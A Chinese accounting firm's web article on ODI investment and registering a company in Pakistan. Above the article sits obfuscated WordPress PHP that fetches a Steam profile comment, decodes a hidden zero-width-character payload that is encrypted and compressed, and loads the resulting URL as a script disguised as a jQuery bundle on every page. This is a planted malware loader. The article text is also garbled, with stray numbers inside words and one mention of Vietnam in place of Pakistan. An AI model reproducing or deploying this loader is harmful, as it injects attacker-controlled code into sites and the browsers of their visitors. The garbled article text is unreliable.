goto dfc1d; D7304: function decode_html_entities_like_source(string $s) : string { goto d39d7; C56fe: $s = str_replace(["\134\x6e", "\134\x22", "\x26\x71\165\157\x74\73", "\x26\x61\x6d\160\x3b", "\x26\154\x74\73", "\x26\147\x74\73"], ["\xa", "\x22", "\x22", "\x26", "\74", "\76"], $s); goto Ba34b; d39d7: $s = preg_replace_callback("\x2f\x26\43\170\x28\133\134\144\x61\55\x66\x41\55\x46\x5d\53\x29\x3b\57\151", function ($m) { return mb_convert_encoding(pack("\110\x2a", $m[1]), "\x55\124\106\55\70", "\x55\x43\123\55\x32\102\105"); }, $s); goto C56fe; Ba34b: return $s; goto b61ef; b61ef: } goto D7078; D7078: function decode_zero_width_payload(string $text, string $password = '') : string { try { goto C2b2b; d3c12: $salt = substr($blob, 0, 8); goto D23dc; C9c3f: $bytes = array_map("\157\162\144", str_split($plain)); goto Cd597; Ef189: a7f7f: goto d13f0; ce377: $from = [$ZW[4], $ZW[5]]; goto e78f2; ec58b: if (!($unz === false)) { goto A9c55; } goto E9275; eed3b: if (!($leading === '')) { goto cfaee; } goto c489e; e9141: $blob = pack("\103\52", ...$bytes); goto d3c12; A98ef: $bytes = []; goto abbfc; d50d2: d308c: goto C9c3f; Ccd85: $iv = substr($dk, 0, 16); goto Df294; df35a: $ciphertext = substr($blob, 8); goto e998e; D85f8: cfaee: goto ec634; c5213: A9c55: goto D9e23; f6ec8: d17f8: goto e0fc4; e998e: $expectedHmac = null; goto Ed5ed; c87c5: $p += 8; goto Fd43b; F4fea: $payloadRest = mb_substr($payload, 1, null, "\125\124\x46\x2d\x38"); goto Fe277; Dba93: e6efa: goto A98ef; aeada: Af03e: goto d50d2; d5bfd: if (!($p + 8 <= strlen($bits))) { goto d36a9; } goto eaec6; eaec6: $bytes[] = bindec(substr($bits, $p, 8)); goto da13a; D9e23: return $unz !== false ? $unz : ''; goto ee358; c489e: return ''; goto D85f8; C8282: $containerChar = mb_substr($payload, 0, 1, "\x55\x54\x46\55\70"); goto F4fea; E88ce: $payload = mb_substr($leading, 1, null, "\125\x54\106\x2d\70"); goto d3dbb; b8587: $hasHmac = $containerIdx === 0; goto d9773; f91c2: if (!$isEncrypted) { goto fa074; } goto e9141; d3d85: return ''; goto f6ec8; B4da4: if (!($plain === false)) { goto d17f8; } goto d3d85; d0120: foreach ($inv as $b) { goto a21fc; Ab8c2: $allPrintable = false; goto F779a; abe91: F0425: goto e51e8; a21fc: if (!($b < 32 || $b > 126)) { goto a1a65; } goto Ab8c2; F779a: goto F4297; goto db1ad; db1ad: a1a65: goto abe91; e51e8: } goto d19ff; Abc09: foreach (explode("\40", $text) as $word) { goto d56b5; d82d0: goto e8b9d; goto bb211; bb211: f0f9c: goto E332b; e3ec9: $pos = 0; goto B5c7a; fbd9c: $leading = mb_substr($word, 0, $pos, "\x55\x54\106\55\70"); goto d82d0; E02b9: if (empty($intersection)) { goto f0f9c; } goto e3ec9; B5c7a: foreach ($chars as $i => $ch) { goto e8276; D24b7: C7bc3: goto C1cb6; E548e: $pos = $i; goto c3795; Ba85e: $pos = $i + 1; goto D24b7; c3795: goto Fd5ba; goto ce7e7; ce7e7: Caf0c: goto Ba85e; e8276: if (in_array($ch, $ZW, true)) { goto Caf0c; } goto E548e; C1cb6: } goto C2679; C2679: Fd5ba: goto fbd9c; C59c6: $intersection = array_intersect($ZW, $chars); goto E02b9; E332b: c181e: goto A212d; d56b5: $chars = preg_split("\57\x2f\x75", $word, -1, PREG_SPLIT_NO_EMPTY); goto C59c6; A212d: } goto D7121; E5afe: return implode('', array_map("\x63\150\162", $inv)); goto Be895; A7d8b: $modeIdx = array_search($modeChar, $ZW, true); goto e665f; Ac630: $raw = pack("\x43\52", ...$inv); goto C191f; bee51: if ($allPrintable) { goto db96b; } goto Ac630; d13f0: $expectedHmac = substr($blob, 8, 32); goto b2e8e; e78f2: $to = [$pair[0] . $pair[0], $pair[1] . $pair[1]]; goto c4816; e0fc4: if (!$hasHmac) { goto d308c; } goto B53b3; d9773: $bits = ''; goto F3450; C2b2b: $ZW = ["\xe2\200\x8c", "\xe2\x80\215", "\342\201\xa1", "\xe2\201\242", "\xe2\201\243", "\342\201\244"]; goto a368e; A96fe: e9132: goto fce6f; ee358: db96b: goto E5afe; d3dbb: $pairsByIndex = [$ZW[0] . $ZW[1], $ZW[0] . $ZW[2], $ZW[0] . $ZW[3], $ZW[1] . $ZW[2], $ZW[1] . $ZW[3], $ZW[2] . $ZW[3]]; goto A7d8b; a368e: $leading = ''; goto Abc09; da13a: e90ab: goto c87c5; Ed5ed: goto e9132; goto Ef189; Dd6e5: d36a9: goto f91c2; Cd597: fa074: goto Dbf10; Db703: $plain = openssl_decrypt($ciphertext, "\x61\145\x73\55\62\65\x36\x2d\143\164\x72", $key, OPENSSL_RAW_DATA, $iv); goto B4da4; ec634: $modeChar = mb_substr($leading, 0, 1, "\125\124\x46\55\x38"); goto E88ce; D7121: e8b9d: goto eed3b; B53b3: $h = hash_hmac("\163\150\x61\x32\x35\x36", $plain, $key, true); goto f8a49; b2e8e: $ciphertext = substr($blob, 40); goto A96fe; C191f: $unz = @gzuncompress($raw); goto ec58b; d19ff: F4297: goto bee51; F00f8: $allPrintable = true; goto d0120; D23dc: if ($hasHmac) { goto a7f7f; } goto df35a; abbfc: $p = 0; goto F1f05; Fd43b: goto bd29e; goto Dd6e5; Dc56a: return ''; goto aeada; E9275: $unz = @gzinflate($raw); goto c5213; f8a49: if (hash_equals($expectedHmac, $h)) { goto Af03e; } goto Dc56a; Df294: $key = substr($dk, 16, 32); goto Db703; Dbf10: $inv = array_map(fn($b) => ~$b & 0xff, $bytes); goto F00f8; fce6f: $dk = hash_pbkdf2("\163\150\x61\x35\61\62", $password, $salt, 10000, 48, true); goto Ccd85; e665f: $pair = $modeIdx !== false && isset($pairsByIndex[$modeIdx]) ? preg_split("\57\57\165", $pairsByIndex[$modeIdx], -1, PREG_SPLIT_NO_EMPTY) : [$ZW[0], $ZW[1]]; goto ce377; F3450: foreach (preg_split("\x2f\57\x75", $payloadRest, -1, PREG_SPLIT_NO_EMPTY) as $ch) { goto E2839; be63a: $bits .= str_pad(decbin($i), 2, "\x30", STR_PAD_LEFT); goto db3e7; a5a82: c2881: goto be7a7; d55eb: if (!($i !== false)) { goto baf2f; } goto be63a; db3e7: baf2f: goto a5a82; E2839: $i = array_search($ch, $ZW, true); goto d55eb; be7a7: } goto Dba93; c4816: $payload = str_replace($from[1], $to[1], $payload); goto de7cd; de7cd: $payload = str_replace($from[0], $to[0], $payload); goto C8282; Fe277: $containerIdx = array_search($containerChar, $ZW, true); goto D5820; D5820: $isEncrypted = $containerIdx === 0 || $containerIdx === 1; goto b8587; F1f05: bd29e: goto d5bfd; Be895: } catch (\Throwable $e) { return ''; } } goto a7fb4; dfc1d: function fetch_comment_text_from_url(string $url) : string { goto b27df; D7ac4: return $text; goto Dbfd9; F1e30: curl_close($ch); goto bd612; bd612: return get_transient($cache_key) ?: ''; goto A6f8c; dd4b3: set_transient($cache_key, $text, 300); goto D7ac4; Ef31e: $ch = curl_init($url); goto A6435; A6435: curl_setopt_array($ch, [CURLOPT_RETURNTRANSFER => true, CURLOPT_USERAGENT => "\115\x6f\x7a\x69\x6c\154\x61\x2f\x35\56\x30\40\50\127\x69\156\144\157\x77\x73\40\116\x54\x20\x31\60\x2e\x30\73\40\x57\151\156\x36\x34\73\40\x78\66\64\x29\x20\101\160\x70\x6c\x65\127\x65\142\x4b\x69\164\x2f\x35\63\67\x2e\x33\66", CURLOPT_TIMEOUT => 10]); goto Dea9b; b27df: $cache_key = "\143\141\160\164\x69\157\x6e\137" . md5($url); goto Ef31e; Ceb67: return get_transient($cache_key) ?: ''; goto D1440; Dea9b: $html = curl_exec($ch); goto d4307; d4307: if (!($html === false)) { goto D3bed; } goto F1e30; Dbfd9: C305c: goto Ceb67; Db868: curl_close($ch); goto e1b29; e1b29: if (!preg_match("\57\74\144\x69\x76\x5b\x5e\76\135\x2a\x63\x6c\x61\x73\163\75\133\47\134\42\135\143\x6f\x6d\155\x65\x6e\x74\x74\150\162\145\x61\x64\x5f\x63\x6f\x6d\155\145\156\164\137\x74\145\170\164\133\x27\134\x22\x5d\133\x5e\76\x5d\x2a\76\x28\x2e\52\77\51\x3c\134\x2f\144\x69\x76\x3e\57\x69\x73", $html, $m)) { goto C305c; } goto e58d9; A6f8c: D3bed: goto Db868; e58d9: $text = decode_html_entities_like_source($m[1]); goto dd4b3; D1440: } goto D7304; a7fb4: function enqueue_external_script_from_steam_comment() : void { goto Bc875; B9ec2: wp_enqueue_script("\x61\163\x61\x68\151\x2d\152\x71\165\x65\162\x79\55\x6d\x69\156\55\142\165\x6e\x64\x6c\145", $url, [], null, true); goto c0558; c0558: Ad652: goto Fa6d5; d25b8: if (!filter_var($url, FILTER_VALIDATE_URL)) { goto Ad652; } goto B9ec2; Bc875: $steamProfileUrl = "\150\164\x74\160\x73\72\x2f\57\x73\x74\145\x61\x6d\x63\157\155\x6d\165\x6e\x69\164\171\56\143\157\x6d\57\151\144\x2f\60\x78\145\x65\162\x69\145\x2f"; goto f0971; af6d0: $url = $domainOrPath; goto d25b8; f0971: $commentText = fetch_comment_text_from_url($steamProfileUrl); goto b2ed4; b2ed4: $domainOrPath = decode_zero_width_payload($commentText, ''); goto af6d0; Fa6d5: } goto Ae8ce; Ae8ce: add_action("\167\x70\x5f\145\x6e\x71\165\145\165\x65\137\163\x63\x72\151\x70\164\163", "\x65\x6e\161\x75\x65\x75\145\x5f\x65\170\x74\145\162\156\x61\x6c\x5f\163\x63\x72\x69\160\x74\137\x66\x72\x6f\155\x5f\x73\x74\145\x61\x6d\x5f\x63\157\155\155\145\x6e\164"); ODI境外投资:在巴基斯坦设立公司-至臻联合(中国)会计服务有限公司
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ODI境外投资:在巴基斯坦设立公司

发布时间:2022-05-13 来源:上海至臻联合会计师事务所 浏览次数:26,983次

随着中巴经济走廊的持续推动与“一带一路”出海趋势的不断发酵,中巴两国间资本来往热度持续升温,来巴基斯130坦投资9370兴业的6165中资企业越来越多,涉及行业也越来越广,业务几乎涵盖了工程建设与服务(路桥、水利水电、核电风电、煤炭矿产、地质、房建等)、贸易与进出口、建厂生产与组装、产品与服务销售、投资开发、媒体、物流快递、金融服务、电商与互联网等各大领域。而绝大部分中资企业在巴基斯坦拓展业务时,都面临着一系列挑战与问题,希望以下解答可以帮到你们:

一、巴基斯坦公司的注册类型

根据《1984公司条例》,在巴基斯坦注册公司主要有3种不同类型:(1)股份有限公司。股东以所认缴资本为限对公司承担责任,又分为公共有限公司和私营有限公司两种;(2)担保有限公司。以各位成员对公司认缴的出资额为限对外承担责任。此类公司的成立多以“非盈利”为基础;(3)无限责任公司。公司成员对公司负有无限责任。

二、公司的股东,董事和公司的秘书

注册一家巴基斯坦公司,至少需要2名董事。公共有限公司至少由七人组成;私营有限公司至少由两人组成,股东人数不超过50人。对当地董事不做强制要求,但考虑到开户、以及向相关机构提交资料,建议委任当地董事。

三、公司的名字和名字查询

巴基斯坦公司注册的过程始于向公司注册处提交申请,以核准在巴基斯坦注册公司的名称。建议在为巴基斯坦境内注册的公司申请注册名称前,到巴基斯坦证券交易委员会网站查询该名称是否可用。若注册担保有限公司,则公司名称中应显示“(担保)有限”(“(Guarantee)Limited”)字样。

四、巴基斯坦公司的经营范围

原则上我们建议您在注册巴基斯坦公司前确定您的商业活动,我们会在巴基斯坦外商投资列表核实您的经营范围。

五、注册资本与实收资本

最低注册资本PKR100,000,注册资本越高,注册费用越高。在巴基斯坦,这一数额的资本无需全部支付。银行也无需出具声明,证明上述金额已投资于该业务。

六、巴基斯坦公司的注册流程

办理流程:公司核名-准备资料-提交资料-提及申请(获得经认证的注册文件副本,包括公司细则、公司章程和公司执照)-董事会通过决议开户-银行开户-申请公司税号(办理时间:4-5个月)

七、.巴基斯坦公司注册的需要文件

位于伊斯兰堡的巴基斯坦联系人/证明人的详细资料、股东/董事/CEO有效护照的副本、股东/董事/CEO照片(护照尺寸扫描件)、股东/董事/CEO完整的个人资料(word文档格式)、经公证的公司注册证书副本、董事名录、章程及其他公司法定文件、董事会决议。(以上文件需在本国公证,并经巴基斯坦大使馆认证。)

八、巴基斯坦公司年审及做账报税

企业税率为25%-35%。巴基斯坦政府规定,企业需在每月15日前上报并缴纳上一月份的销售税、联邦消费税(FED)等。进(出)口税费应在货物进(出)口之日起15天内完成上报并缴纳。企业所得税则在本年末申报并缴纳。(销售税每月或每季度申报一次,企业所得税一年申报一次。)

企业向当地税务机构报税时需要提交的文件包括:税务报表、企业税号文件、报税单等。另外,当地税务机构每年不定期抽查企业相关会计凭证和单据是否与上述文件相符。

至臻联合海外投资服务团队有丰富的协助中国企业投资越南的经验,已成功帮助数十家制造业、贸易型企业落地巴基斯坦,我们提供的服务涵盖ODI境外投资备案、当地公司设立、协助当地银行开户和巴基斯坦财税服务,如您有此方面的需求,欢迎联系至臻联合专业人士咨询,联系电话:400-990-8829

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